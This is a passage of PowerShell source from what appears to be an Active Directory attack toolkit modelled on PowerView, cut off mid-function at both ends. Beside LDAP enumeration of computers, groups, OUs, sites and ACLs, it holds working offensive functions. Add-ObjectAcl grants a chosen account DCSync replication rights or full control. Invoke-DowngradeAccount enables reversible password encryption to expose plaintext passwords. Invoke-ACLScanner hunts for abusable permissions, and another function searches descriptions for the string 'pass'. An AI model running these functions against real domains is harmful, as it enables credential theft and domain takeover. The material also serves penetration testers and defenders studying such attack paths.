2104 'ID' = '4768'
2105 'LogonType' = ''
2106 'Time' = $_.TimeCreated
2107 }
2108
2109 New-Object -TypeName PSObject -Property $LogonEventProperties
2110 }
2111 catch {
2112 Write-Verbose "Error parsing event logs: $_"
2113 }
2114 }
2115 }
2116}
2117
2118
2119function Get-ObjectAcl {
2120
2121 [CmdletBinding()]
2122 Param (
2123 [Parameter(ValueFromPipelineByPropertyName=$True)]
2124 [String]
2125 $SamAccountName,
2126
2127 [Parameter(ValueFromPipelineByPropertyName=$True)]
2128 [String]
2129 $Name = "*",
2130
2131 [Parameter(ValueFromPipelineByPropertyName=$True)]
2132 [String]
2133 $DistinguishedName = "*",
2134
2135 [Switch]
2136 $ResolveGUIDs,
2137
2138 [String]
2139 $Filter,
2140
2141 [String]
2142 $ADSpath,
2143
2144 [String]
2145 $ADSprefix,
2146
2147 [String]
2148 [ValidateSet("All","ResetPassword","WriteMembers")]
2149 $RightsFilter,
2150
2151 [String]
2152 $Domain,
2153
2154 [String]
2155 $DomainController,
2156
2157 [ValidateRange(1,10000)]
2158 [Int]
2159 $PageSize = 200
2160 )
2161
2162 begin {
2163 $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -ADSprefix $ADSprefix -PageSize $PageSize
2164
2165
2166 if($ResolveGUIDs) {
2167 $GUIDs = Get-GUIDMap -Domain $Domain -DomainController $DomainController -PageSize $PageSize
2168 }
2169 }
2170
2171 process {
2172
2173 if ($Searcher) {
2174
2175 if($SamAccountName) {
2176 $Searcher.filter="(&(samaccountname=$SamAccountName)(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
2177 }
2178 else {
2179 $Searcher.filter="(&(name=$Name)(distinguishedname=$DistinguishedName)$Filter)"
2180 }
2181
2182 try {
2183 $Results = $Searcher.FindAll()
2184 $Results | Where-Object {$_} | ForEach-Object {
2185 $Object = [adsi]($_.path)
2186
2187 if($Object.distinguishedname) {
2188 $Access = $Object.PsBase.ObjectSecurity.access
2189 $Access | ForEach-Object {
2190 $_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
2191
2192 if($Object.objectsid[0]){
2193 $S = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
2194 }
2195 else {
2196 $S = $Null
2197 }
2198
2199 $_ | Add-Member NoteProperty 'ObjectSID' $S
2200 $_
2201 }
2202 }
2203 } | ForEach-Object {
2204 if($RightsFilter) {
2205 $GuidFilter = Switch ($RightsFilter) {
2206 "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
2207 "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
2208 Default { "00000000-0000-0000-0000-000000000000"}
2209 }
2210 if($_.ObjectType -eq $GuidFilter) { $_ }
2211 }
2212 else {
2213 $_
2214 }
2215 } | ForEach-Object {
2216 if($GUIDs) {
2217
2218 $AclProperties = @{}
2219 $_.psobject.properties | ForEach-Object {
2220 if( ($_.Name -eq 'ObjectType') -or ($_.Name -eq 'InheritedObjectType') ) {
2221 try {
2222 $AclProperties[$_.Name] = $GUIDS[$_.Value.toString()]
2223 }
2224 catch {
2225 $AclProperties[$_.Name] = $_.Value
2226 }
2227 }
2228 else {
2229 $AclProperties[$_.Name] = $_.Value
2230 }
2231 }
2232 New-Object -TypeName PSObject -Property $AclProperties
2233 }
2234 else { $_ }
2235 }
2236 $Results.dispose()
2237 $Searcher.dispose()
2238 }
2239 catch {
2240 Write-Warning $_
2241 }
2242 }
2243 }
2244}
2245
2246
2247function Add-ObjectAcl {
2248
2249 [CmdletBinding()]
2250 Param (
2251 [String]
2252 $TargetSamAccountName,
2253
2254 [String]
2255 $TargetName = "*",
2256
2257 [Alias('DN')]
2258 [String]
2259 $TargetDistinguishedName = "*",
2260
2261 [String]
2262 $TargetFilter,
2263
2264 [String]
2265 $TargetADSpath,
2266
2267 [String]
2268 $TargetADSprefix,
2269
2270 [String]
2271 [ValidatePattern('^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+')]
2272 $PrincipalSID,
2273
2274 [String]
2275 $PrincipalName,
2276
2277 [String]
2278 $PrincipalSamAccountName,
2279
2280 [String]
2281 [ValidateSet("All","ResetPassword","WriteMembers","DCSync")]
2282 $Rights = "All",
2283
2284 [String]
2285 $RightsGUID,
2286
2287 [String]
2288 $Domain,
2289
2290 [String]
2291 $DomainController,
2292
2293 [ValidateRange(1,10000)]
2294 [Int]
2295 $PageSize = 200
2296 )
2297
2298 begin {
2299 $Searcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $TargetADSpath -ADSprefix $TargetADSprefix -PageSize $PageSize
2300
2301 if($PrincipalSID) {
2302 $ResolvedPrincipalSID = $PrincipalSID
2303 }
2304 else {
2305 $Principal = Get-ADObject -Domain $Domain -DomainController $DomainController -Name $PrincipalName -SamAccountName $PrincipalSamAccountName -PageSize $PageSize
2306
2307 if(!$Principal) {
2308 throw "Error resolving principal"
2309 }
2310 $ResolvedPrincipalSID = $Principal.objectsid
2311 }
2312 if(!$ResolvedPrincipalSID) {
2313 throw "Error resolving principal"
2314 }
2315 }
2316
2317 process {
2318
2319 if ($Searcher) {
2320
2321 if($TargetSamAccountName) {
2322 $Searcher.filter="(&(samaccountname=$TargetSamAccountName)(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
2323 }
2324 else {
2325 $Searcher.filter="(&(name=$TargetName)(distinguishedname=$TargetDistinguishedName)$TargetFilter)"
2326 }
2327
2328 try {
2329 $Results = $Searcher.FindAll()
2330 $Results | Where-Object {$_} | ForEach-Object {
2331
2332
2333
2334 $TargetDN = $_.Properties.distinguishedname
2335
2336 $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$ResolvedPrincipalSID)
2337 $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "None"
2338 $ControlType = [System.Security.AccessControl.AccessControlType] "Allow"
2339 $ACEs = @()
2340
2341 if($RightsGUID) {
2342 $GUIDs = @($RightsGUID)
2343 }
2344 else {
2345 $GUIDs = Switch ($Rights) {
2346
2347 "ResetPassword" { "00299570-246d-11d0-a768-00aa006e0529" }
2348
2349 "WriteMembers" { "bf9679c0-0de6-11d0-a285-00aa003049e2" }
2350
2351
2352
2353
2354 "DCSync" { "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", "89e95b76-444d-4c62-991a-0facbeda640c"}
2355 }
2356 }
2357
2358 if($GUIDs) {
2359 foreach($GUID in $GUIDs) {
2360 $NewGUID = New-Object Guid $GUID
2361 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "ExtendedRight"
2362 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$NewGUID,$InheritanceType
2363 }
2364 }
2365 else {
2366
2367 $ADRights = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
2368 $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity,$ADRights,$ControlType,$InheritanceType
2369 }
2370
2371 Write-Verbose "Granting principal $ResolvedPrincipalSID '$Rights' on $($_.Properties.distinguishedname)"
2372
2373 try {
2374
2375 ForEach ($ACE in $ACEs) {
2376 Write-Verbose "Granting principal $ResolvedPrincipalSID '$($ACE.ObjectType)' rights on $($_.Properties.distinguishedname)"
2377 $Object = [adsi]($_.path)
2378 $Object.PsBase.ObjectSecurity.AddAccessRule($ACE)
2379 $Object.PsBase.commitchanges()
2380 }
2381 }
2382 catch {
2383 Write-Warning "Error granting principal $ResolvedPrincipalSID '$Rights' on $TargetDN : $_"
2384 }
2385 }
2386 $Results.dispose()
2387 $Searcher.dispose()
2388 }
2389 catch {
2390 Write-Warning "Error: $_"
2391 }
2392 }
2393 }
2394}
2395
2396
2397function Invoke-ACLScanner {
2398 [CmdletBinding()]
2399 Param (
2400 [Parameter(ValueFromPipeline=$True)]
2401 [String]
2402 $SamAccountName,
2403
2404 [String]
2405 $Name = "*",
2406
2407 [Alias('DN')]
2408 [String]
2409 $DistinguishedName = "*",
2410
2411 [String]
2412 $Filter,
2413
2414 [String]
2415 $ADSpath,
2416
2417 [String]
2418 $ADSprefix,
2419
2420 [String]
2421 $Domain,
2422
2423 [String]
2424 $DomainController,
2425
2426 [Switch]
2427 $ResolveGUIDs,
2428
2429 [ValidateRange(1,10000)]
2430 [Int]
2431 $PageSize = 200
2432 )
2433
2434
2435 Get-ObjectACL @PSBoundParameters | ForEach-Object {
2436
2437 $_ | Add-Member Noteproperty 'IdentitySID' ($_.IdentityReference.Translate([System.Security.Principal.SecurityIdentifier]).Value)
2438 $_
2439 } | Where-Object {
2440
2441 try {
2442
2443 [int]($_.IdentitySid.split("-")[-1]) -ge 1000
2444 }
2445 catch {}
2446 } | Where-Object {
2447
2448 ($_.ActiveDirectoryRights -eq "GenericAll") -or ($_.ActiveDirectoryRights -match "Write") -or ($_.ActiveDirectoryRights -match "Create") -or ($_.ActiveDirectoryRights -match "Delete") -or (($_.ActiveDirectoryRights -match "ExtendedRight") -and ($_.AccessControlType -eq "Allow"))
2449 }
2450}
2451
2452
2453filter Get-GUIDMap {
2454 [CmdletBinding()]
2455 Param (
2456 [Parameter(ValueFromPipeline=$True)]
2457 [String]
2458 $Domain,
2459
2460 [String]
2461 $DomainController,
2462
2463 [ValidateRange(1,10000)]
2464 [Int]
2465 $PageSize = 200
2466 )
2467
2468 $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
2469
2470 $SchemaPath = (Get-NetForest).schema.name
2471
2472 $SchemaSearcher = Get-DomainSearcher -ADSpath $SchemaPath -DomainController $DomainController -PageSize $PageSize
2473 if($SchemaSearcher) {
2474 $SchemaSearcher.filter = "(schemaIDGUID=*)"
2475 try {
2476 $Results = $SchemaSearcher.FindAll()
2477 $Results | Where-Object {$_} | ForEach-Object {
2478
2479 $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
2480 }
2481 $Results.dispose()
2482 $SchemaSearcher.dispose()
2483 }
2484 catch {
2485 Write-Verbose "Error in building GUID map: $_"
2486 }
2487 }
2488
2489 $RightsSearcher = Get-DomainSearcher -ADSpath $SchemaPath.replace("Schema","Extended-Rights") -DomainController $DomainController -PageSize $PageSize -Credential $Credential
2490 if ($RightsSearcher) {
2491 $RightsSearcher.filter = "(objectClass=controlAccessRight)"
2492 try {
2493 $Results = $RightsSearcher.FindAll()
2494 $Results | Where-Object {$_} | ForEach-Object {
2495
2496 $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
2497 }
2498 $Results.dispose()
2499 $RightsSearcher.dispose()
2500 }
2501 catch {
2502 Write-Verbose "Error in building GUID map: $_"
2503 }
2504 }
2505
2506 $GUIDs
2507}
2508
2509
2510function Get-NetComputer {
2511
2512 [CmdletBinding()]
2513 Param (
2514 [Parameter(ValueFromPipeline=$True)]
2515 [Alias('HostName')]
2516 [String]
2517 $ComputerName = '*',
2518
2519 [String]
2520 $SPN,
2521
2522 [String]
2523 $OperatingSystem,
2524
2525 [String]
2526 $ServicePack,
2527
2528 [String]
2529 $Filter,
2530
2531 [Switch]
2532 $Printers,
2533
2534 [Switch]
2535 $Ping,
2536
2537 [Switch]
2538 $FullData,
2539
2540 [String]
2541 $Domain,
2542
2543 [String]
2544 $DomainController,
2545
2546 [String]
2547 $ADSpath,
2548
2549 [String]
2550 $SiteName,
2551
2552 [Switch]
2553 $Unconstrained,
2554
2555 [ValidateRange(1,10000)]
2556 [Int]
2557 $PageSize = 200,
2558
2559 [Management.Automation.PSCredential]
2560 $Credential
2561 )
2562
2563 begin {
2564
2565 $CompSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize -Credential $Credential
2566 }
2567
2568 process {
2569
2570 if ($CompSearcher) {
2571
2572
2573 if($Unconstrained) {
2574 Write-Verbose "Searching for computers with for unconstrained delegation"
2575 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
2576 }
2577
2578 if($Printers) {
2579 Write-Verbose "Searching for printers"
2580
2581 $Filter += "(objectCategory=printQueue)"
2582 }
2583 if($SPN) {
2584 Write-Verbose "Searching for computers with SPN: $SPN"
2585 $Filter += "(servicePrincipalName=$SPN)"
2586 }
2587 if($OperatingSystem) {
2588 $Filter += "(operatingsystem=$OperatingSystem)"
2589 }
2590 if($ServicePack) {
2591 $Filter += "(operatingsystemservicepack=$ServicePack)"
2592 }
2593 if($SiteName) {
2594 $Filter += "(serverreferencebl=$SiteName)"
2595 }
2596
2597 $CompFilter = "(&(sAMAccountType=805306369)(dnshostname=$ComputerName)$Filter)"
2598 Write-Verbose "Get-NetComputer filter : '$CompFilter'"
2599 $CompSearcher.filter = $CompFilter
2600
2601 try {
2602 $Results = $CompSearcher.FindAll()
2603 $Results | Where-Object {$_} | ForEach-Object {
2604 $Up = $True
2605 if($Ping) {
2606
2607 $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
2608 }
2609 if($Up) {
2610
2611 if ($FullData) {
2612
2613 $Computer = Convert-LDAPProperty -Properties $_.Properties
2614 $Computer.PSObject.TypeNames.Add('ShaiView.Computer')
2615 $Computer
2616 }
2617 else {
2618
2619 $_.properties.dnshostname
2620 }
2621 }
2622 }
2623 $Results.dispose()
2624 $CompSearcher.dispose()
2625 }
2626 catch {
2627 Write-Warning "Error: $_"
2628 }
2629 }
2630 }
2631}
2632
2633
2634function Get-ADObject {
2635
2636 [CmdletBinding()]
2637 Param (
2638 [Parameter(ValueFromPipeline=$True)]
2639 [String]
2640 $SID,
2641
2642 [String]
2643 $Name,
2644
2645 [String]
2646 $SamAccountName,
2647
2648 [String]
2649 $Domain,
2650
2651 [String]
2652 $DomainController,
2653
2654 [String]
2655 $ADSpath,
2656
2657 [String]
2658 $Filter,
2659
2660 [Switch]
2661 $ReturnRaw,
2662
2663 [ValidateRange(1,10000)]
2664 [Int]
2665 $PageSize = 200,
2666
2667 [Management.Automation.PSCredential]
2668 $Credential
2669 )
2670 process {
2671 if($SID) {
2672
2673 try {
2674 $Name = Convert-SidToName $SID
2675 if($Name) {
2676 $Canonical = Convert-ADName -ObjectName $Name -InputType NT4 -OutputType Canonical
2677 if($Canonical) {
2678 $Domain = $Canonical.split("/")[0]
2679 }
2680 else {
2681 Write-Warning "Error resolving SID '$SID'"
2682 return $Null
2683 }
2684 }
2685 }
2686 catch {
2687 Write-Warning "Error resolving SID '$SID' : $_"
2688 return $Null
2689 }
2690 }
2691
2692 $ObjectSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
2693
2694 if($ObjectSearcher) {
2695 if($SID) {
2696 $ObjectSearcher.filter = "(&(objectsid=$SID)$Filter)"
2697 }
2698 elseif($Name) {
2699 $ObjectSearcher.filter = "(&(name=$Name)$Filter)"
2700 }
2701 elseif($SamAccountName) {
2702 $ObjectSearcher.filter = "(&(samAccountName=$SamAccountName)$Filter)"
2703 }
2704
2705 $Results = $ObjectSearcher.FindAll()
2706 $Results | Where-Object {$_} | ForEach-Object {
2707 if($ReturnRaw) {
2708 $_
2709 }
2710 else {
2711
2712 Convert-LDAPProperty -Properties $_.Properties
2713 }
2714 }
2715 $Results.dispose()
2716 $ObjectSearcher.dispose()
2717 }
2718 }
2719}
2720
2721
2722function Set-ADObject {
2723 [CmdletBinding()]
2724 Param (
2725 [String]
2726 $SID,
2727
2728 [String]
2729 $Name,
2730
2731 [String]
2732 $SamAccountName,
2733
2734 [String]
2735 $Domain,
2736
2737 [String]
2738 $DomainController,
2739
2740 [String]
2741 $Filter,
2742
2743 [Parameter(Mandatory = $True)]
2744 [String]
2745 $PropertyName,
2746
2747 $PropertyValue,
2748
2749 [Int]
2750 $PropertyXorValue,
2751
2752 [Switch]
2753 $ClearValue,
2754
2755 [ValidateRange(1,10000)]
2756 [Int]
2757 $PageSize = 200,
2758
2759 [Management.Automation.PSCredential]
2760 $Credential
2761 )
2762
2763 $Arguments = @{
2764 'SID' = $SID
2765 'Name' = $Name
2766 'SamAccountName' = $SamAccountName
2767 'Domain' = $Domain
2768 'DomainController' = $DomainController
2769 'Filter' = $Filter
2770 'PageSize' = $PageSize
2771 'Credential' = $Credential
2772 }
2773
2774 $RawObject = Get-ADObject -ReturnRaw @Arguments
2775
2776 try {
2777
2778 $Entry = $RawObject.GetDirectoryEntry()
2779
2780 if($ClearValue) {
2781 Write-Verbose "Clearing value"
2782 $Entry.$PropertyName.clear()
2783 $Entry.commitchanges()
2784 }
2785
2786 elseif($PropertyXorValue) {
2787 $TypeName = $Entry.$PropertyName[0].GetType().name
2788
2789
2790 $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
2791 $Entry.$PropertyName = $PropertyValue -as $TypeName
2792 $Entry.commitchanges()
2793 }
2794
2795 else {
2796 $Entry.put($PropertyName, $PropertyValue)
2797 $Entry.setinfo()
2798 }
2799 }
2800 catch {
2801 Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_"
2802 }
2803}
2804
2805
2806function Invoke-DowngradeAccount {
2807
2808
2809 [CmdletBinding()]
2810 Param (
2811 [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
2812 [String]
2813 $SamAccountName,
2814
2815 [Parameter(ParameterSetName = 'Name')]
2816 [String]
2817 $Name,
2818
2819 [String]
2820 $Domain,
2821
2822 [String]
2823 $DomainController,
2824
2825 [String]
2826 $Filter,
2827
2828 [Switch]
2829 $Repair,
2830
2831 [Management.Automation.PSCredential]
2832 $Credential
2833 )
2834
2835 process {
2836 $Arguments = @{
2837 'SamAccountName' = $SamAccountName
2838 'Name' = $Name
2839 'Domain' = $Domain
2840 'DomainController' = $DomainController
2841 'Filter' = $Filter
2842 'Credential' = $Credential
2843 }
2844
2845
2846 $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue
2847
2848 if($Repair) {
2849
2850 if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
2851
2852 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
2853 }
2854
2855
2856 Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
2857 }
2858
2859 else {
2860
2861 if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
2862
2863 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
2864 }
2865
2866 if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
2867
2868 Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
2869 }
2870
2871
2872 Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
2873 }
2874 }
2875}
2876
2877
2878function Get-ComputerProperty {
2879
2880
2881 [CmdletBinding()]
2882 param(
2883 [String[]]
2884 $Properties,
2885
2886 [String]
2887 $Domain,
2888
2889 [String]
2890 $DomainController,
2891
2892 [ValidateRange(1,10000)]
2893 [Int]
2894 $PageSize = 200,
2895
2896 [Management.Automation.PSCredential]
2897 $Credential
2898 )
2899
2900 if($Properties) {
2901
2902 $Properties = ,"name" + $Properties | Sort-Object -Unique
2903 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
2904 }
2905 else {
2906
2907 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
2908 }
2909}
2910
2911
2912function Find-ComputerField {
2913
2914 [CmdletBinding()]
2915 param(
2916 [Parameter(Position=0,ValueFromPipeline=$True)]
2917 [Alias('Term')]
2918 [String]
2919 $SearchTerm = 'pass',
2920
2921 [Alias('Field')]
2922 [String]
2923 $SearchField = 'description',
2924
2925 [String]
2926 $ADSpath,
2927
2928 [String]
2929 $Domain,
2930
2931 [String]
2932 $DomainController,
2933
2934 [ValidateRange(1,10000)]
2935 [Int]
2936 $PageSize = 200,
2937
2938 [Management.Automation.PSCredential]
2939 $Credential
2940 )
2941
2942 process {
2943 Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
2944 }
2945}
2946
2947
2948function Get-NetOU {
2949
2950 [CmdletBinding()]
2951 Param (
2952 [Parameter(ValueFromPipeline=$True)]
2953 [String]
2954 $OUName = '*',
2955
2956 [String]
2957 $GUID,
2958
2959 [String]
2960 $Domain,
2961
2962 [String]
2963 $DomainController,
2964
2965 [String]
2966 $ADSpath,
2967
2968 [Switch]
2969 $FullData,
2970
2971 [ValidateRange(1,10000)]
2972 [Int]
2973 $PageSize = 200,
2974
2975 [Management.Automation.PSCredential]
2976 $Credential
2977 )
2978
2979 begin {
2980 $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
2981 }
2982 process {
2983 if ($OUSearcher) {
2984 if ($GUID) {
2985
2986 $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))"
2987 }
2988 else {
2989 $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
2990 }
2991
2992 try {
2993 $Results = $OUSearcher.FindAll()
2994 $Results | Where-Object {$_} | ForEach-Object {
2995 if ($FullData) {
2996
2997 $OU = Convert-LDAPProperty -Properties $_.Properties
2998 $OU.PSObject.TypeNames.Add('ShaiView.OU')
2999 $OU
3000 }
3001 else {
3002
3003 $_.properties.adspath
3004 }
3005 }
3006 $Results.dispose()
3007 $OUSearcher.dispose()
3008 }
3009 catch {
3010 Write-Warning $_
3011 }
3012 }
3013 }
3014}
3015
3016
3017function Get-NetSite {
3018
3019 [CmdletBinding()]
3020 Param (
3021 [Parameter(ValueFromPipeline=$True)]
3022 [String]
3023 $SiteName = "*",
3024
3025 [String]
3026 $Domain,
3027
3028 [String]
3029 $DomainController,
3030
3031 [String]
3032 $ADSpath,
3033
3034 [String]
3035 $GUID,
3036
3037 [Switch]
3038 $FullData,
3039
3040 [ValidateRange(1,10000)]
3041 [Int]
3042 $PageSize = 200,
3043
3044 [Management.Automation.PSCredential]
3045 $Credential
3046 )
3047
3048 begin {
3049 $SiteSearcher = Get-DomainSearcher -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSprefix "CN=Sites,CN=Configuration" -PageSize $PageSize
3050 }
3051 process {
3052 if($SiteSearcher) {
3053
3054 if ($GUID) {
3055
3056 $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName)(gplink=*$GUID*))"
3057 }
3058 else {
3059 $SiteSearcher.filter="(&(objectCategory=site)(name=$SiteName))"
3060 }
3061
3062 try {
3063 $Results = $SiteSearcher.FindAll()
3064 $Results | Where-Object {$_} | ForEach-Object {
3065 if ($FullData) {
3066
3067 $Site = Convert-LDAPProperty -Properties $_.Properties
3068 $Site.PSObject.TypeNames.Add('ShaiView.Site')
3069 $Site
3070 }
3071 else {
3072
3073 $_.properties.name
3074 }
3075 }
3076 $Results.dispose()
3077 $SiteSearcher.dispose()
3078 }
3079 catch {
3080 Write-Verbose $_
3081 }
3082 }
3083 }
3084}
3085
3086
3087function Get-NetSubnet {
3088
3089
3090 [CmdletBinding()]
3091 Param (
3092 [Parameter(ValueFromPipeline=$True)]
3093 [String]
3094 $SiteName = "*",
3095
3096 [String]
3097 $Domain,
3098
3099 [String]
3100 $ADSpath,
3101
3102 [String]
3103 $DomainController,
3104
3105 [Switch]
3106 $FullData,
3107
3108 [ValidateRange(1,10000)]
3109 [Int]
3110 $PageSize = 200,
3111
3112 [Management.Automation.PSCredential]
3113 $Credential
3114 )
3115
3116 begin {
3117 $SubnetSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -ADSprefix "CN=Subnets,CN=Sites,CN=Configuration" -PageSize $PageSize
3118 }
3119
3120 process {
3121 if($SubnetSearcher) {
3122
3123 $SubnetSearcher.filter="(&(objectCategory=subnet))"
3124
3125 try {
3126 $Results = $SubnetSearcher.FindAll()
3127 $Results | Where-Object {$_} | ForEach-Object {
3128 if ($FullData) {
3129
3130 Convert-LDAPProperty -Properties $_.Properties | Where-Object { $_.siteobject -match "CN=$SiteName" }
3131 }
3132 else {
3133
3134 if ( ($SiteName -and ($_.properties.siteobject -match "CN=$SiteName,")) -or ($SiteName -eq '*')) {
3135
3136 $SubnetProperties = @{
3137 'Subnet' = $_.properties.name[0]
3138 }
3139 try {
3140 $SubnetProperties['Site'] = ($_.properties.siteobject[0]).split(",")[0]
3141 }
3142 catch {
3143 $SubnetProperties['Site'] = 'Error'
3144 }
3145
3146 New-Object -TypeName PSObject -Property $SubnetProperties
3147 }
3148 }
3149 }
3150 $Results.dispose()
3151 $SubnetSearcher.dispose()
3152 }
3153 catch {
3154 Write-Warning $_
3155 }
3156 }
3157 }
3158}
3159
3160
3161function Get-DomainSID {
3162
3163
3164 param(
3165 [String]
3166 $Domain,
3167
3168 [String]
3169 $DomainController
3170 )
3171
3172 $DCSID = Get-NetComputer -Domain $Domain -DomainController $DomainController -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | Select-Object -First 1 -ExpandProperty objectsid
3173 if($DCSID) {
3174 $DCSID.Substring(0, $DCSID.LastIndexOf('-'))
3175 }
3176 else {
3177 Write-Verbose "Error extracting domain SID for $Domain"
3178 }
3179}
3180
3181
3182function Get-NetGroup {
3183
3184
3185 [CmdletBinding()]
3186 param(
3187 [Parameter(ValueFromPipeline=$True)]
3188 [String]
3189 $GroupName = '*',
3190
3191 [String]
3192 $SID,
3193
3194 [String]
3195 $UserName,
3196
3197 [String]
3198 $Filter,
3199
3200 [String]
3201 $Domain,
3202
3203 [String]
3204 $DomainController,
3205
3206 [String]
3207 $ADSpath,
3208
3209 [Switch]
3210 $AdminCount,
3211
3212 [Switch]
3213 $FullData,
3214
3215 [Switch]
3216 $RawSids,
3217
3218 [Switch]
3219 $AllTypes,
3220
3221 [ValidateRange(1,10000)]
3222 [Int]
3223 $PageSize = 200,
3224
3225 [Management.Automation.PSCredential]
3226 $Credential
3227 )
3228
3229 begin {
3230 $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
3231 if (!$AllTypes)
3232 {
3233 $Filter += "(groupType:1.2.840.113556.1.4.803:=2147483648)"
3234 }
3235 }
3236
3237 process {
3238 if($GroupSearcher) {
3239
3240 if($AdminCount) {
3241 Write-Verbose "Checking for adminCount=1"
3242 $Filter += "(admincount=1)"
3243 }
3244
3245 if ($UserName) {
3246
3247 $User = Get-ADObject -SamAccountName $UserName -Domain $Domain -DomainController $DomainController -Credential $Credential -ReturnRaw -PageSize $PageSize | Select-Object -First 1
3248
3249 if($User) {
3250
3251 $UserDirectoryEntry = $User.GetDirectoryEntry()
3252
3253
3254 $UserDirectoryEntry.RefreshCache("tokenGroups")
3255
3256 $UserDirectoryEntry.TokenGroups | ForEach-Object {
3257
3258 $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value
3259
3260
3261 if($GroupSid -notmatch '^S-1-5-32-.*') {
3262 if($FullData) {
3263 $Group = Get-ADObject -SID $GroupSid -PageSize $PageSize -Domain $Domain -DomainController $DomainController -Credential $Credential
3264 $Group.PSObject.TypeNames.Add('ShaiView.Group')
3265 $Group
3266 }
3267 else {
3268 if($RawSids) {
3269 $GroupSid
3270 }
3271 else {
3272 Convert-SidToName -SID $GroupSid
3273 }
3274 }
3275 }
3276 }
3277 }
3278 else {
3279 Write-Warning "UserName '$UserName' failed to resolve."
3280 }
3281 }
3282 else {
3283 if ($SID) {
3284 $GroupSearcher.filter = "(&(objectCategory=group)(objectSID=$SID)$Filter)"
3285 }
3286 else {
3287 $GroupSearcher.filter = "(&(objectCategory=group)(samaccountname=$GroupName)$Filter)"
3288 }
3289
3290 $Results = $GroupSearcher.FindAll()
3291 $Results | Where-Object {$_} | ForEach-Object {
3292
3293 if ($FullData) {
3294
3295 $Group = Convert-LDAPProperty -Properties $_.Properties
3296 $Group.PSObject.TypeNames.Add('ShaiView.Group')
3297 $Group
3298 }
3299 else {
3300
3301 $_.properties.samaccountname
3302 }
3303 }
3304 $Results.dispose()
3305 $GroupSearcher.dispose()
3306 }
3307 }
3308 }
3309}
3310
3311
3312function Get-NetGroupMember {
3313
3314 [CmdletBinding()]
3315 param(
3316 [Parameter(ValueFromPipeline=$True)]
3317 [String]
3318 $GroupName,
3319
3320 [String]
3321 $SID,
3322
3323 [String]
3324 $Domain,
3325
3326 [String]
3327 $DomainController,
3328
3329 [String]
3330 $ADSpath,
3331
3332 [Switch]
3333 $FullData,
3334
3335 [Switch]
3336 $Recurse,
3337
3338 [Switch]
3339 $UseMatchingRule,
3340
3341 [ValidateRange(1,10000)]
3342 [Int]
3343 $PageSize = 200,
3344
3345 [Management.Automation.PSCredential]
3346 $Credential
3347 )
3348
3349 begin {
3350 if($DomainController) {
3351 $TargetDomainController = $DomainController
3352 }
3353 else {
3354 $TargetDomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
3355 }
3356
3357 if($Domain) {
3358 $TargetDomain = $Domain
3359 }
3360 else {
3361 $TargetDomain = Get-NetDomain -Credential $Credential | Select-Object -ExpandProperty name
3362 }
3363
3364
